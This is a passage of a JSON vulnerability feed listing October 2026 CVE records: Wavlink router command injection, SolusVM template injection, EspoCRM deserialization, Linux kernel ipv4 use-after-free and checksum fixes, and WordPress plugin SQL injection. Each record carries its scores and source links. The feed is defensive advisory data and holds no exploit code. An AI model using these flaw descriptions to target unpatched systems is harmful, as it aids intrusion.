CVE-2026-57155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57155","type":"primary","publishedAt":"2026-10-15T16:18:17.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110958","cveId":"CVE-2026-110958","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi.","summary":"A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi. The manipulation results in heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms: \"We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked.\"","detail":"A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi. The manipulation results in heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms: \"We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked.\"\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:48.467Z","updatedAt":"2026-10-15T19:56:13.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110958","asOf":"2026-10-15T19:56:13.350Z"},"epss":{"probability":0.0102,"percentile":0.63143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110958","type":"primary","publishedAt":"2026-10-15T16:17:48.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105474","cveId":"CVE-2026-105474","aliases":[],"kind":"vulnerability","title":"A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.","summary":"A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.","detail":"A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:34.373Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105474","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00491,"percentile":0.41884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105474&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105474","type":"primary","publishedAt":"2026-10-15T16:17:34.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105474&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105474, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47168","cveId":"CVE-2026-47168","aliases":[],"kind":"vulnerability","title":"EspoCRM is an open source customer relationship management application.","summary":"EspoCRM is an open source customer relationship management application. Prior to 9.3.7, an authenticated administrator can supply crafted serialized PHP object data that is stored in background MassAction or Export parameters and later deserialized by the application. The deserialization paths do not restrict allowed classes, allowing attacker-controlled object instantiation and arbitrary code execution on the server. This issue is fixed in version 9.3.7.","detail":"EspoCRM is an open source customer relationship management application. Prior to 9.3.7, an authenticated administrator can supply crafted serialized PHP object data that is stored in background MassAction or Export parameters and later deserialized by the application. The deserialization paths do not restrict allowed classes, allowing attacker-controlled object instantiation and arbitrary code execution on the server. This issue is fixed in version 9.3.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:34.917Z","updatedAt":"2026-10-20T03:17:15.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47168","asOf":"2026-10-20T03:17:15.227Z"},"epss":{"probability":0.00423,"percentile":0.36311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-47168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47168","type":"primary","publishedAt":"2026-10-15T15:17:34.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-47168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-47168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110957","cveId":"CVE-2026-110957","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing.","summary":"A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing. The manipulation of the argument REMOTE_ADDR leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to fix this issue. You should upgrade the affected component. The vendor confirms: \"We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked.\"","detail":"A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing. The manipulation of the argument REMOTE_ADDR leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to fix this issue. You should upgrade the affected component. The vendor confirms: \"We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked.\"\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:30.640Z","updatedAt":"2026-10-20T03:17:14.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110957","asOf":"2026-10-20T03:17:14.930Z"},"epss":{"probability":0.03066,"percentile":0.87532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110957","type":"primary","publishedAt":"2026-10-15T15:17:30.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104586","cveId":"CVE-2026-104586","aliases":[],"kind":"vulnerability","title":"AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.","summary":"AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.","detail":"AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:21.067Z","updatedAt":"2026-10-20T03:17:12.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104586","asOf":"2026-10-20T03:17:12.597Z"},"epss":{"probability":0.01526,"percentile":0.74506,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104586","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104586","type":"primary","publishedAt":"2026-10-15T15:17:21.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104586, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99999","cveId":"CVE-2026-99999","aliases":[],"kind":"vulnerability","title":"Linux kernel: ipv4: validate checksum_start before completing checksum","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: validate checksum_start before completing checksum\n\nIf a packet with bad checksum metadata gets into the ipv4 stack,\nskb_checksum_help can corrupt the network header and cause a bunch of\nmischief.\n\nThis was discovered and reported by Paulos, and has been reporoduced\nby others independently since.\n\nWe really shouldn't allow such packets in, but as a defence\nin depth measure, let's also check before we complete the checksum.\n\nA more complete validation at input is forthcoming, but needs more work.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: validate checksum_start before completing checksum\n\nIf a packet with bad checksum metadata gets into the ipv4 stack,\nskb_checksum_help can corrupt the network header and cause a bunch of\nmischief.\n\nThis was discovered and reported by Paulos, and has been reporoduced\nby others independently since.\n\nWe really shouldn't allow such packets in, but as a defence\nin depth measure, let's also check before we complete the checksum.\n\nA more complete validation at input is forthcoming, but needs more work.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:14.137Z","updatedAt":"2026-10-19T22:17:28.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99999","asOf":"2026-10-19T22:17:28.667Z"},"epss":{"probability":0.00788,"percentile":0.55907,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99999","type":"primary","publishedAt":"2026-10-15T13:17:14.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98432","cveId":"CVE-2026-98432","aliases":[],"kind":"vulnerability","title":"Linux kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free inet_opt and ireq_opt after an RCU grace period\n\ntcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the\nchild socket (newinet->inet_opt) without copying it.\n\nAnother cpu can concurrently process a retransmitted SYN for the same\nrequest socket, and send a SYNACK from tcp_check_req().\ntcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt\nunder rcu_read_lock() only, and ip_build_and_send_pkt() and\nip_options_build() then read opt->optlen twice.\n\nNote that the SYNACK timer itself is not an issue: it holds a\nreference on its request socket, and inet_csk_reqsk_queue_drop()\ncalls timer_delete_sync() before the child can be freed.\n\nSince commit 079096f103fa (\"tcp/dccp: install syn_recv requests\ninto ehash table\"), request sockets are processed without holding\nthe listener lock, so nothing prevents the child socket from being\nfreed while the SYNACK is still being built. TCP child sockets do\nnot have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt\nwith a plain kfree(), leading to a use-after-free in\nip_options_build().\n\nA similar issue exists with request socket migration\n(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE\nprogram). reqsk_timer_handler() clones the request socket with\ninet_reqsk_clone(), so that the old request socket and its clone\nshare the same ireq_opt, then reqsk_migrate_reset() clears the\npointer in the old one. Another cpu holding a reference on the old\nrequest socket can still be using these options (sending a SYNACK,\nor creating a child in tcp_v4_syn_recv_sock()) when the clone is\nfreed, and tcp_v4_reqsk_destructor() also uses a plain kfree().\n\nReaders already use RCU, and other paths replacing inet_opt\n(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use\nkfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and\ntcp_v4_reqsk_destructor() as well.\n\nIPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()\nduplicates the options. tcp_v6_reqsk_destructor() has the same\nmigration issue with ipv6_opt, which is only set by CALIPSO. This\nwill be addressed in a separate patch.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free inet_opt and ireq_opt after an RCU grace period\n\ntcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the\nchild socket (newinet->inet_opt) without copying it.\n\nAnother cpu can concurrently process a retransmitted SYN for the same\nrequest socket, and send a SYNACK from tcp_check_req().\ntcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt\nunder rcu_read_lock() only, and ip_build_and_send_pkt() and\nip_options_build() then read opt->optlen twice.\n\nNote that the SYNACK timer itself is not an issue: it holds a\nreference on its request socket, and inet_csk_reqsk_queue_drop()\ncalls timer_delete_sync() before the child can be freed.\n\nSince commit 079096f103fa (\"tcp/dccp: install syn_recv requests\ninto ehash table\"), request sockets are processed without holding\nthe listener lock, so nothing prevents the child socket from being\nfreed while the SYNACK is still being built. TCP child sockets do\nnot have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt\nwith a plain kfree(), leading to a use-after-free in\nip_options_build().\n\nA similar issue exists with request socket migration\n(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE\nprogram). reqsk_timer_handler() clones the request socket with\ninet_reqsk_clone(), so that the old request socket and its clone\nshare the same ireq_opt, then reqsk_migrate_reset() clears the\npointer in the old one. Another cpu holding a reference on the old\nrequest socket can still be using these options (sending a SYNACK,\nor creating a child in tcp_v4_syn_recv_sock()) when the clone is\nfreed, and tcp_v4_reqsk_destructor() also uses a plain kfree().\n\nReaders already use RCU, and other paths replacing inet_opt\n(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use\nkfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and\ntcp_v4_reqsk_destructor() as well.\n\nIPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()\nduplicates the options. tcp_v6_reqsk_destructor() has the same\nmigration issue with ipv6_opt, which is only set by CALIPSO. This\nwill be addressed in a separate patch.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:13.987Z","updatedAt":"2026-10-24T14:16:41.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98432","asOf":"2026-10-24T14:16:41.427Z"},"epss":{"probability":0.00388,"percentile":0.32583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98432","type":"primary","publishedAt":"2026-10-15T13:17:13.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109892","cveId":"CVE-2026-109892","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin...","summary":"Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin by DynamiApps: from n/a through 3.29.13.","detail":"Incorrect Privilege Assignment vulnerability in Shabti Kaplan Frontend Admin by DynamiApps acf-frontend-form-element allows Privilege Escalation.This issue affects Frontend Admin by DynamiApps: from n/a through 3.29.13.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.697Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109892","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00261,"percentile":0.1763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109892","type":"primary","publishedAt":"2026-10-15T13:17:12.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109698","cveId":"CVE-2026-109698","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects Mang Board WP: from n/a through 2.4.4.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kitae Park Mang Board WP mangboard allows SQL Injection.This issue affects Mang Board WP: from n/a through 2.4.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.317Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109698","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00283,"percentile":0.20613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109698","type":"primary","publishedAt":"2026-10-15T13:17:12.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109688","cveId":"CVE-2026-109688","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link 